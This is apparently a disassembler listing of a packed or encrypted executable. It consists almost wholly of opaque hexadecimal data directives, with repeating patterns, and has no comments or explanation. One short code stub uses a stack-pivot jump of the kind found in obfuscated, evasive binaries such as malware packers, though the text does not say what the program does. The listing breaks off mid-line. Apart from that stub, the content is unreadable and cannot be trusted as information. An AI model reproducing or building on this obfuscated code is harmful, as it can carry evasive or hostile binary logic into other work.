0EBB4F001h dd 8850AE61h, 0CB6E4BFEh, 882B7473h, 81FE1AEh, 96799D1h dd 0BA0ABD43h, 19D8104h, 8B060000h, 18279BCh, 169C62F0h dd 5236EC3Ch, 0D98C18DBh, 571EB87Bh, 0B22D79C9h, 570D7437h dd 0CB5D270Ah, 0CF439FCh, 562B3DF6h, 0F1FE9576h, 2211C717h dd 6DFBBE9Ch, 0C9A5CBAh, 69B90959h, 57E11FEEh, 656FC13h dd 58BD8453h, 983BF00Bh, 6A2FF1BEh, 276F99CAh, 0F4000000h dd 9548CE96h, 4AAB8F45h, 0AA79F474h, 0FC13752Ah, 0A1702373h dd 0F00B6A9Eh, 0E9DB558h, 99CA3C4Ch, 0C28Ch, 18DBA800h dd 5ED98Ch, 99F7AD37h, 0E15423D2h, 7EF60C67h, 0CD2BDE2Eh dd 6DCB7E0Ah, 1124F3AAh, 0ADF60C67h, 0C675FDEh, 0D6B000F6h dd 1BEA3686h, 0F60C6C36h, 7CC85417h, 0BC37318Dh, 1614BFEDh dd 3F015FFCh, 0DDA0FEB1h, 0FC4C9C4Fh, 0A11C6C46h, 49857C43h dd 5B150C9Ah, 6FEA65B5h, 5FE9DA0h, 0E35221F0h, 7CF005FEh dd 0A402522Ch, 4F9F52DCh, 28EF4D99h, 407E3D9Ch, 671AAED1h dd 10511h, 6A12BF00h, 70FEC01Eh, 77FDC624h, 7B21CD2Bh dd 860AD12Fh, 0EE2F503Ah, 0EF4D9927h, 0F3519D27h, 0FD5BA72Dh dd 0EF62AE3Ah, 5096A574h, 0E8C7F001h, 66FBBE04h, 31ABB9A9h dd 965DBB71h, 9D60BE0Ah, 0DBDFC30Fh, 2AB87E18h, 6C927DAh dd 67BD804Fh, 52A2F60Ch, 0CDC48702h, 17CA0A7Eh, 0AD31E77Dh dd 0E78923EAh, 0C8F6E531h, 8F42D092h, 0A574EF3Fh, 0FC13842Ch dd 5CBA3585h, 48C30F95h, 1B3FFECDh, 0D020F00Bh, 1BE44B1Ah dd 2AEDF00Bh, 2C5239Eh, 0BD73C376h, 0C84C1371h, 68BF15h dd 4ADB0000h, 0FE79F474h, 0E534923Bh, 0F5AB573Dh, 19CD4F26h dd 9D50A0FCh, 19E27C3Fh, 0E86C3593h, 1A95E535h, 0BF7F4BCh dd 3F7B0A83h, 0EC3CEF3Fh, 0C98CEA36h, 79B9883Bh, 443AD7DFh dd 793C89A1h, 2142F1C0h, 0CB1BB6CFh, 6D20A46Dh, 2381CD1Dh dd 0C321D460h, 2EC27517h, 6326B38Bh, 682B89D5h, 3D329DCh dd 0EF000000h, 2EDB694Dh, 0BA7DDB8Eh, 571D7B2Eh, 0F0B816C9h dd 8E55B366h, 2AF14F02h, 0E995F3A6h, 69329043h, 10D230E3h dd 687ECF82h, 7A33h, 24048F54h, 4240481h, 81000000h, 4ECh dd 24048900h, 55F268h, 241C8900h, 50EB6852h, 555A6CBDh dd 0A32EECBDh, 5DEA295Fh, 0ED2CEA81h, 0D089070Ch, 4EC835Ah dd 81242489h, 42404h, 815B0000h, 4ECh, 240C8900h, 4B89C189h dd 1C8B5908h, 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5438DD ; --------------------------------------------------------------------------- dd 39BC6D50h, 0B92185E4h, 0C1532D40h, 0D390EB8h, 0FFC50306h dd 0C9390E0h, 3320C978h, 391BEF73h, 72CF6905h, 0CE63B735h dd 0BC817F3Ah, 94F6A036h, 80504901h, 8B7A0E5Fh, 0F4A70428h dd 97FE3B21h, 0DF7B715Dh, 6F5AB61Dh, 77B8234Fh, 790FCD04h dd 2FC24202h, 0B46BD41Dh, 5E857h, 54AC0000h, 66FC88B6h dd 5A3F94B9h, 0CB8A5060h, 0F5C98158h, 617A7DFFh, 5E2EC281h dd 12E90000h, 51000000h, 749A87ACh, 50935FFBh, 77204F1Ch dd 7DE24A94h, 0F4F4BE4Ch, 0C681716Ch, 8E932268h, 32FFFE8Bh dd 0C88B58F9h, 1354C081h, 59502B50h, 41F4E881h, 820F6CD3h dd 0Fh, 7E8h, 742F0400h, 272FCDBEh, 815B41B7h, 83099CF0h dd 0CB8B666Ah, 0EA830289h, 9E904h, 25650000h, 5175CA23h dd 83BAC554h, 850F01EEh, 0FFFFFFB2h, 2E880Fh, 0FE80000h dd 0D3000000h, 995D45h, 96D4AAE5h, 0A968D51Ch, 13E8B5E3h dd 0F7000000h, 471274B3h, 1AC5F48Bh, 408C77Bh, 0AC97F48Dh dd 5F5F2C8Dh, 3B9A8D8Dh, 6A060Dh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8915E4C3h, 70A018Dh dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 9035E212h, 0FE950h, 0C3560000h, 38872AAFh dd 0D5926D76h, 3825D80Eh, 85C75F84h, 60714A5h, 6B14h, 0AB98589h dd 85C70607h, 6072FD5h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C3C35040h dd 892C7E8Ah, 71CE9B5h, 59B5FF06h, 6A060727h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0DB4FC353h, 95FFA89Fh, 6071C19h, 13E9h, 9ECBB200h, 0E61B9E2Eh dd 0CDF7182Ah, 2A14D9EEh, 0EB08543Eh, 95FF006Ah, 6071B69h dd 0FEBC08Bh, 927F594Dh, 0BF9F881Fh, 9F806A31h, 53C07A27h dd 5DB13EE8h, 0ACF23256h, 55F201EEh, 0ABB13256h, 0D5B13256h dd 0EAE87736h, 75EBA12Ah, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13254h, 57B93581h, 0ABAF3252h dd 0D5A93254h, 0E84C3242h, 77F63256h, 0B8F63256h, 5DB1F27Dh dd 9FBE6056h, 51586A0Ch, 5DB13256h, 577C56A1h, 0DBBE53C5h dd 0BF3A5436h, 8BBE6006h, 7D06A0Ch, 8A85BB0Eh, 5FB13256h dd 1F36F4F7h, 0F592608Bh, 0A6CEAC8Fh, 0E62A98C3h, 0AE58C198h dd 0A1B13256h, 46BAE8D3h, 0C3569457h, 0AB32006Bh, 0F96E4C6Fh dd 774AB8A3h, 519DBB37h, 28ACC691h, 8358B335h, 47AC9544h dd 57B13242h, 705BE7DAh, 6207632Eh, 0B9F3BF72h, 0DA3FBBC6h dd 712B77EAh, 74168ACBh, 0F4D0259Dh, 0BED1620Eh, 0ABB13258h dd 605DAD68h, 0DB69891Ch, 1835A540h, 0E8E101F4h, 5DA0DBCAh dd 54943256h, 91103AFDh, 0F96C86D1h, 4B681275h, 8C247E29h dd 0B889FCD7h, 0BAB134BFh, 0B9C64456h, 33A2301Bh, 8B3B0359h dd 3AD06A0Ch, 605D3256h, 0DB69891Ch, 1835A540h, 0D34101F4h dd 78ADBDB8h, 0CF2C99ACh, 36D1030Eh, 0F3EB6A0Ch, 0D19576DFh dd 0B8E16006h, 75B121BFh, 0BFCD5D56h, 0DCD9B90Ch, 13A55570h dd 0EE3131E4h, 0DE1D6DA8h, 0D3580359h, 3CB13256h, 179C7601h dd 0B5E968A5h, 3DE36267h, 0CE803D37h, 0DE96837h, 0ABB16A0Eh dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B1DA36h dd 3BEB3256h, 508F5FBCh, 0A934BF50h, 0DEB73EDFh, 0A68AF1D4h dd 0F633BF50h, 63B73F81h, 788AF5D4h, 0B3FFDA50h, 26593256h dd 69B13256h, 5A8A81D4h, 0ABB13250h, 50776056h, 0ECB62773h dd 0CDE35A00h, 0F4EAEFEh, 5BB62EEBh, 0DE45B7DBh, 874E345Ch dd 8DF0B7DFh, 0D1DB3451h, 0EAA1323Eh, 78F15A56h, 0BADB3255h dd 56EBE2A9h, 27824696h, 5A8A81D4h, 1C33BB50h, 6CB73F6Dh dd 0EAB23F16h, 0B582CADDh, 0D0E398A5h, 4DB15A52h, 0AED93256h dd 3DB13252h, 0EA23CD56h, 8FB73570h, 0D6B6B0DFh, 0FED0345Bh dd 0B78A81D3h, 9AD1F150h, 0A9ABA7D4h, 17B13250h, 0FA33F556h dd 0D5B73555h, 8BB13246h, 0CF3A5295h, 0BCBC09E5h, 29B10DD5h dd 0BECEB175h, 0D4BA4654h, 0DFB52229h, 0C176B158h, 0AD76D8BDh dd 75B13346h, 7D43D956h, 5DB22211h, 475A3256h, 0DCE4F137h dd 0AB5952BAh, 8FB13256h, 0D5D3D8D7h, 0C73A345Bh, 0BCBC0E5Dh dd 0D4B977DDh, 0A533B150h, 53B73F6Ah, 0AF73FB37h, 0D5595256h dd 0B0B13256h, 4A37D8D7h, 83A345Bh, 5BBC0E51h, 92BA806Dh dd 6CC5345Bh, 743A0CDDh, 0D4FE8459h, 6AB075A0h, 0ACB23623h dd 639A30BDh, 0D83A7115h, 0A8B63C4Fh, 5684BFDDh, 738A3451h dd 0C8A3B24h, 2C323721h, 4E78D952h, 33B94699h, 5AB007EBh dd 0CF06D950h, 57595295h, 0F1B13256h, 0EA6FD8D7h, 503A345Bh dd 73BC0E51h, 0BAB032EFh, 0AE710156h, 0A933B9FDh, 0DEB73F6Ah dd 0A68D39D4h, 0B5725350h, 0EAB132BEh, 9F306856h, 0BCBC725Eh dd 4894B790h, 0C6E73451h, 83AE5F6Fh, 0B70C87A9h, 503C3451h dd 0ECBB42A2h, 25E3E2A9h, 0BA31323Eh, 0A2B15856h, 0A38A81E4h dd 0F61CD50h, 2BB15A0Ch, 0D5DB3256h, 0D6B680A9h, 0A54E345Bh dd 31E4F137h, 5D5952BAh, 0F4B13256h, 17E7D8D7h, 0DE3A345Bh dd 0D729DA5Eh, 15E43256h, 788AF1C4h, 0CF8A6F50h, 0B55F475Ah dd 0AEB130D0h, 5F73FB37h, 473A6756h, 834DF6D5h, 0EA596101h dd 2FB13256h, 0FA3BD8D7h, 283A345Bh, 0BECCB95Eh, 60596401h dd 0A0B13256h, 5E904696h, 784E67AEh, 73BC0995h, 0B6C4090Bh dd 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h, 15A3256h dd 24D4FDFh, 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h, 25E4325Ah dd 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h, 788AC1D4h dd 0BAB13350h, 55C4B956h, 25AFB930h, 5A8A81ECh, 0A3EEB950h dd 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h, 3B5BD942h dd 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh, 0EAB13293h dd 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h, 0AC313256h dd 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h, 5D313256h dd 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h, 51BE42ADh dd 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh, 93C53768h dd 239C0CD6h, 0C38FB26Eh, 574E0122h, 0ECBC09A5h, 0F5AFB930h dd 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h, 6B30C9D7h dd 80D12122h, 0D172A0A9h, 0FCEC345Bh, 39D0CE13h, 28B0CE2Bh dd 3B0BB935h, 7B7354Ch, 9042B0DDh, 0E988345Bh, 0BAC36A66h dd 76E088DDh, 31E13451h, 508AC1D4h, 9E8D0B50h, 0BC8C4D0Eh dd 53F4F546h, 0D5B13254h, 0AF7635BDh, 75B133AEh, 90BB956h dd 0D6B73F6Dh, 0DA6A3949h, 226F0949h, 0A7ECB959h, 0D5494FD5h dd 0B7B23122h, 71EEBBAEh, 51A5F5D5h, 0B47101B4h, 0AEB13296h dd 0DCAFB930h, 50313E2Bh, 55BB46BDh, 1131C2B5h, 9EA74626h dd 53B6F464h, 5DB07591h, 25B13256h, 5271B191h, 0ABB1A5BFh dd 0D2765456h, 0F43B3A59h, 0F5BED1D6h, 0E539B29Dh, 5FF6F557h dd 0AEB13256h, 9732F5DDh, 0CDC8D950h, 45210CD7h, 0D4313D22h dd 13BF47C6h, 2A4E4CD7h, 0B6B346C6h, 4576B952h, 5833BF09h dd 0FBB73F6Ah, 1223CD00h, 0E1B73F6Dh, 0FEBB4696h, 0B503BF9Eh dd 0B6B73F6Ah, 603A6446h, 9423CD03h, 0F6B73F6Dh, 0C46FC7Dh dd 12CCB108h, 0C5A14757h, 2D7981Fh, 0F6D7B759h, 0AFF78459h dd 0D4AAD9FDh, 0DEB3CA2Bh, 0DE095445h, 8C1A549Fh, 13353DEEh dd 0FC073DFDh, 5F5A9957h, 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh dd 0B55DB903h, 0EAB132BEh, 9F306856h, 0BCBC70BEh, 0D4B977DDh dd 0A38A89D4h, 95785350h, 20E43252h, 2D75B1BAh, 0EAB1DA36h dd 0F4EB3256h, 0B7F23BBCh, 0A5F4F550h, 0AEB13256h, 574D7791h dd 98B13256h, 0CB3A5496h, 0D142B091h, 75B0345Bh dd 3BD73256h, 2821A2ADh, 464AB256h, 56B9B659h, 2BF13256h dd 51BEDBADh, 0EAB132A8h, 9E4AB216h, 0BA45B659h, 0DDF13256h dd 2FD7C2B1h, 58313DADh, 0ABB1D7D2h, 0B0333156h, 0AAB73548h dd 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h dd 0A45255ADh, 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h dd 433A5456h, 2E49D1D6h, 10C58AADh, 0DFB40CD6h, 0F88FB214h dd 0D4310F22h, 3589463Eh, 8142B0A9h, 0D6D7345Bh, 5656B248h dd 0D64AB330h, 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h dd 284E6736h, 5BBC0995h, 52F4BB0Bh, 0ABCCB137h, 83343D57h dd 5EB13257h, 0EDABA7ECh, 0F73A6250h, 0BCBC09A5h, 5810E6Fh dd 0AFA0B059h, 0ED3A3256h, 0ADB63107h, 2633B906h, 0D3B73F6Dh dd 7AE9026Ah, 0BAB1C8D9h, 0EA0BB956h, 2DB73F6Dh, 5A8A85D4h dd 9C382650h, 85A175DFh, 0D142B0DDh, 693A345Bh, 0E5386A66h dd 5D64DB5Eh, 0EB763256h, 57B130AEh, 6CB6D956h, 0D5B0CA13h dd 503A3256h, 73BC09E1h, 8106B0D5h, 0D4A5345Bh, 0BEF6BB61h dd 22B2CAD5h, 5833F55Ah, 0D7B73F6Dh, 1B13256h, 7749B153h dd 0C7326D2Bh, 46C532AEh, 0AFF78459h, 57B1B2FFh, 0EBB74756h dd 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h, 0E9BAD953h, 6642A8DDh dd 0AA3A345Bh, 57186965h, 0DE313256h, 56773142h, 68B23796h dd 73BC09A5h, 0B2F6BB1Eh, 0B6BD75DFh, 8569C500h, 0D469C590h dd 29B23796h, 0D3BC09A5h, 0E2F6BB1Eh, 9EBD75DFh, 30710168h dd 0DD193310h, 68B21323h, 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh dd 8745A8DCh, 9631345Ah, 33723157h, 1A383A11h, 59A5D95Ah dd 574E178Eh, 6D9A3256h, 1532EAA1h, 0E2F6BB54h, 8DBD75DFh dd 0EF72FB37h, 9932DEDDh, 0AE5952AAh, 0DB13256h, 0EEABD8D7h dd 6F3A345Bh, 0ECBC09E5h, 4A32FB65h, 78353D56h, 0D6B13256h dd 0A2C4CD51h, 7B947A9h, 0ABB041BEh, 56B44156h, 85A2691h dd 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh, 0AEB1330Ah, 5726B059h dd 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h dd 22323A22h, 0ACC5325Ah, 0A8093CBDh, 124ECDA9h, 0D5B13253h dd 295A99A5h, 70A14DD5h, 0C5323D22h, 4CC43446h, 0AAF6B917h dd 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh dd 0AFC43A09h, 59E6B904h, 0ADA1677Dh, 83A2603h, 286B195Ah dd 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h, 143B3153h dd 2DB73542h, 22B22229h, 729A7357h, 0D4B06EDFh, 154ECDEEh dd 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h, 0DCE43246h dd 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 78F737BCh, 90BB950h dd 6EB73F6Dh, 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h dd 2E13A23h, 75B132DEh, 7D323725h, 0D453D942h, 0DB4ECE13h dd 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh dd 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h dd 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h dd 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h dd 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h dd 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh dd 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh dd 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h dd 57B13256h, 705BB30Ch, 0E6B73F10h, 636A019Fh, 0CF3ACE0Bh dd 0BCBC09E5h, 29B10DD5h, 518EB132h, 90323723h, 2840D942h dd 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h dd 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h dd 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh dd 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h dd 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh, 0D5596107h dd 0B0B13256h, 32D7D8D7h, 203C345Bh, 5BBC099Dh, 0AEB156EEh dd 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h dd 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 0FB21A8DBh, 784E345Bh dd 4F3C3ABDh, 0ECBC9DE0h, 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh dd 2FEB3256h, 5AF687BCh, 113C5250h, 0D3BC099Dh, 63B977DDh dd 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah, 36A175DFh dd 0ABA1F09Fh, 0F034F436h, 0ADB73543h, 62C2283Eh, 704CDFEh dd 0D0B7354Ah, 0A4C1C6D3h, 561CD50h, 9046B8DBh, 2AE0345Bh dd 683C6886h, 73BC09A1h, 0B6F18559h, 52E3EADDh, 6DB26867h dd 4270B0DFh, 0C3D03451h, 0E85251h, 5A000000h, 4826EA81h dd 8B52060Dh, 715C182h, 4E6DB906h, 0E1F741C6h, 3039055Ah dd 0FF250000h, 897FFFFFh, 715C182h, 0C3595A06h, 0E85251h dd 5A000000h, 4856EA81h, 0C88B060Dh, 0FFFFBBE8h, 0F7D233FFh dd 5AC28BF1h, 0C08BC359h, 858DC08Bh, 60D3E67h, 8B66D0FFh dd 1F858DC1h, 89060D48h, 70BA985h, 4F858D06h, 89060D48h dd 7300D85h, 0B806h, 0C00B0000h, 47840Fh, 85C60000h, 6071525h dd 30DF6856h, 0B5FFA9C5h, 6071CBDh, 70F4858Dh, 0D0FF060Ah dd 558D8D50h, 51060732h, 68046Ah, 0FF000010h, 7166DB5h dd 8BD0FF06h, 7166DBDh, 3C7F0306h, 0F8C781h, 47C70000h dd 2024h, 0C59D8D60h, 8B060720h, 0FC00B03h, 584h, 89008B00h dd 0F6B90443h, 8D00234Ch, 0D49C38Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 28929EE7h dd 9D895215h, 6071E21h, 0A018D89h, 0C38A0607h, 14A585C7h dd 726C0607h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 31ACE2C3h, 73021B5h, 11E906h, 0D7520000h dd 24E14DF3h, 0F53EAD5Bh, 15168D3Eh, 0C76585B0h, 72FD585h dd 6, 6AD28000h, 214DB5FFh, 95890607h, 6072E35h, 1C1995FFh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 0DB8667C3h, 0B3FCC944h, 0FF006AAEh, 71B6995h dd 0EBC08B06h, 0DEBD251Bh, 0F155FE07h, 9B6A7Ah, 19A18357h dd 88CD4102h, 98D2F13Dh, 581E8B41h, 0B67F08EBh, 6E44h dd 7EE90000h, 6800000Bh, 60D4B6Dh, 0FAF9FBE9h, 4C9A68FFh dd 0F1E9060Dh, 68FFFAF9h, 60D4E3Ch, 0FAF9E7E9h, 4F3068FFh dd 0DDE9060Dh, 68FFFAF9h, 60D50A6h, 0FAF9D3E9h, 529568FFh dd 0C9E9060Dh, 68FFFAF9h, 60D53C5h, 0FAF9BFE9h, 0B238BFFh dd 0EDF7664Ch, 0CDDB482Eh, 0A9BF280Eh, 869A04EAh, 505E37C7h dd 2D13D2E6h, 0CF2B1C1h, 0EDD3929Eh, 27B17082h, 0AAC4117Fh dd 0D16A911Dh, 0AEAA9106h, 844B420h, 0FD684ECCh, 329D83EBh dd 61C46120h, 0E96276E0h, 8E93D341h, 0A61F9117h, 9BE856FEh dd 4185098Ah, 74E24AC8h, 85098A23h, 1C896F17h, 0AF2DA60Eh dd 0F6980519h, 0D8E02390h, 41h, 0F6899C0Dh, 10603B88h dd 0EF68E18Bh, 6DEDD947h, 58D19117h, 533182F0h, 7D258509h dd 23393F96h, 8B09C69Fh, 654C59F5h, 22932B17h, 68F06E12h dd 0E0229C86h, 0DAA8h, 0AE1A0000h, 3FBD369Eh, 0D6E85374h dd 0A1E886Eh, 3F51BCA2h, 7486F1D7h, 64C447B5h, 28938B10h dd 6715716h, 5CEF8CF4h, 365AC870h, 8A91178Bh, 96B55211h dd 4EA923Ah, 771F8799h, 92ABC09h, 70E96285h, 0D4DB84F2h dd 52398B12h, 0F82D83D5h, 57FF7832h, 978A0271h, 112A63D7h dd 0BC359D16h, 46B0963Eh, 721C38C4h, 674E3D4Ah, 0E8C96E49h dd 6827A0C6h, 606CDAC0h, 1B017FF8h, 1BEC9DB1h, 9578F8h dd 932AE98h, 58C00000h, 2C9B8140h, 107D6322h, 0F45D4302h dd 0CF391FDEh, 296CFCBBh, 48071B85h, 27E6F662h, 8C7D341h dd 0E6A5B722h, 0F946B45Ch, 9F911DAAh, 0E9533B06h, 886E16D5h dd 0C0A60E1Ah, 4CCA4355h, 637BFB66h, 9BAA0F9Bh, 0EB675EEh dd 41A9BF28h, 917F4AC8h, 602E7BE9h, 5BD48B10h, 54ED40DDh dd 0B961DAE6h, 176D5F4Bh, 22CA4391h, 0E654CF3Ch, 7BE361DAh dd 952BC0Dh, 0AEB82785h, 0E7F16046h, 36E3987Fh, 192467C7h dd 903210A6h, 14819D33h, 0E022BE72h, 0A118876Dh, 41BA2238h dd 69E760C8h, 0D1A8h, 0AF1A0000h, 53541F9Dh, 886ED6E8h dd 86F5DB1Eh, 60C10E7Ch, 0EE678B10h, 7CE7CD75h, 1684EC6Ah dd 8B106593h, 26E5F762h, 1BC3D540h, 0B12B9134h, 0E563F3DDh dd 0F44DE07Dh, 6A127A86h, 101EAFFCh, 63DC558Bh, 0B0D442EAh dd 491174Eh, 7C24CC8Bh, 8EEC10Eh, 70EE6785h, 0B45C70D3h dd 12958C46h, 0EB930C8Bh, 0E62F2C04h, 0B331593Fh, 78BB250Bh dd 0FEB9BD0Ah, 0A7B1207Eh, 53128B04h, 3EEF036Dh, 9577631Bh dd 56650B8h, 0ED000008h, 0C8AE6D85h, 0AA904F59h, 8A702F3Dh dd 664C0B21h, 9929E8FCh, 3448B2FCh, 13238F75h, 0F4006E54h dd 0D2E44F35h, 73E18913h, 911DAC26h, 916833CCh, 0C9313DABh dd 166E6950h, 0AA419EF4h, 0C8DC462Ch, 0A6B82309h, 0AB911CE7h dd 4FC8303Eh, 6E80EBD1h, 0A3B52006h, 0C8E447E4h, 80B6B220h dd 41BA9117h, 7688F3D9h, 0BB290FB7h, 26CE47AFh, 9406BB8h dd 1A981185h, 4FB7C934h, 4F63B1E1h, 819D330Ch, 7A394BB6h dd 0AF172994h, 0C31CF141h, 1B37CDFDh, 10CFE14Ch, 45ADBF2Ah dd 0C31D83D7h, 7789F4FDh, 0ACBE290Fh, 0FCBF5D44h, 89B80F2Bh dd 0EAC866FCh, 125DF187h, 0F0D695A7h, 23CB7385h, 0C34968B5h dd 17950EFDh, 9F3312AFh, 482F10F7h, 86955A03h, 22F26008h dd 0CE03C9A7h, 26A7EE8h, 2638A389h, 0F251EEADh, 414F36DEh dd 1C8D9122h, 3FAD55D3h, 0FDC1A89Fh, 676D04EBh, 78D06B2Dh dd 1891F90Fh, 50BE269Fh, 0F1B2C400h, 0D5C65CF2h, 7F78DE35h dd 3A715h, 0E9914A00h, 10602E7Bh, 0DD5BD48Bh, 0C1F3779h dd 0A850F8A0h, 105FED3Ah, 341A938Bh, 0CC3AB8C8h, 911774A0h dd 98311D04h, 0B5575321h, 3647B53Ch, 6A06177Eh, 684FF7DBh dd 0A7D22F5h, 0A82697h, 107FE92h, 51B9320Ah, 953D91B4h dd 0FD3FCA27h, 6F179003h, 885DC288h, 0AA2858F8h, 6745A02h dd 9B1992FAh, 79384AB5h, 727CEBD1h, 2D13910Ah, 0EF1542C2h dd 0AF1E5C4Dh, 53CC3442h, 7A86F4DAh, 8E335001h, 68D00E60h dd 6637Eh, 0F278F00h, 0F1FB6A50h, 0D1DF4C32h, 0ADC32C12h dd 8A9E08EEh, 545A3BCBh, 3117D6EAh, 10F6B5C5h, 0F1D796A2h dd 2BB57486h, 0AEC81583h, 0D56E911Dh, 25899C0Ah, 81130F7Dh dd 9E179117h, 0D3E55036h, 2B079D6Bh, 8D05745Ah, 7D295759h dd 127AF303h, 0AF7E1B99h, 0A31C2896h, 26D53FBh, 80472F0h dd 0C8B1020h, 83EED493h, 7A610971h, 12487EA2h, 77E0C6D7h dd 280F961h, 379FB11Ch, 6ED6E451h, 0A30B1D88h, 0A28016h dd 0C5BF78Dh, 48D08FA1h, 0EA2BE5A6h, 28388h, 899CBD00h dd 0A70F7D25h, 83911DAAh, 117C620Ah, 9A132992h, 933BB932h dd 872F43ADh, 162471DFh, 1E878503h, 8427A008h, 0A8F5630Bh dd 4E850316h, 0B29857D5h, 4A970548h, 0F0850316h, 0EE96FE77h dd 168BD846h, 0B8318503h, 167ACC3Ah, 7CE78503h, 0C08AB96Ah dd 0E74F9B7Bh, 56FFDh, 31B8300h, 0E5EF5E44h, 0C5D34026h dd 0A1B72006h, 7E92FCE2h, 48662FBFh, 250BCADEh, 4EAA9B9h dd 0E5CB8A96h, 1FA9687Ah, 0AFBC0977h, 0C962911Dh, 0B8899CFEh dd 19C13A4Eh, 1DAA43ABh, 3EA61F91h, 1CDBED58h, 1C8ACB36h dd 850316CFh, 1B83FC75h, 10B8CA35h, 3198268h, 3164895h dd 1F07EE85h, 0B028E3ADh, 0B1199710h, 0E54D61CBh, 1E8690FFh dd 0AB0925BBh, 7AE89038h, 8502D42Dh, 46DC5AD3h, 0E0F25DE8h dd 66E85238h, 7ED3AF4Fh, 69D14A05h, 909C0AF0h, 7231AF28h dd 281018EAh, 1862AE0h, 535F0000h, 886ED6E8h, 0AF4C0B1Dh dd 1A88309Ch, 911762DAh, 1785ED66h, 85095EC6h, 9D0E24BAh dd 0E02244CDh, 47DDh, 899C1200h, 603B88F6h, 68E18B10h dd 0EDD947EFh, 0D191176Dh, 3182F058h, 25850953h, 1C2A977Dh dd 592A089Eh, 4E9B09B1h, 0F4850953h, 53C00D7Bh, 0F3618509h dd 850953A6h, 0B730D34Ch, 4DD1B139h, 0B2F1E022h, 26000000h dd 69E853h, 230971EAh, 573DA5B9h, 8C72DAECh, 0E2500F21h dd 8B10655Fh, 0F2B1C32Eh, 0E734A24Ah, 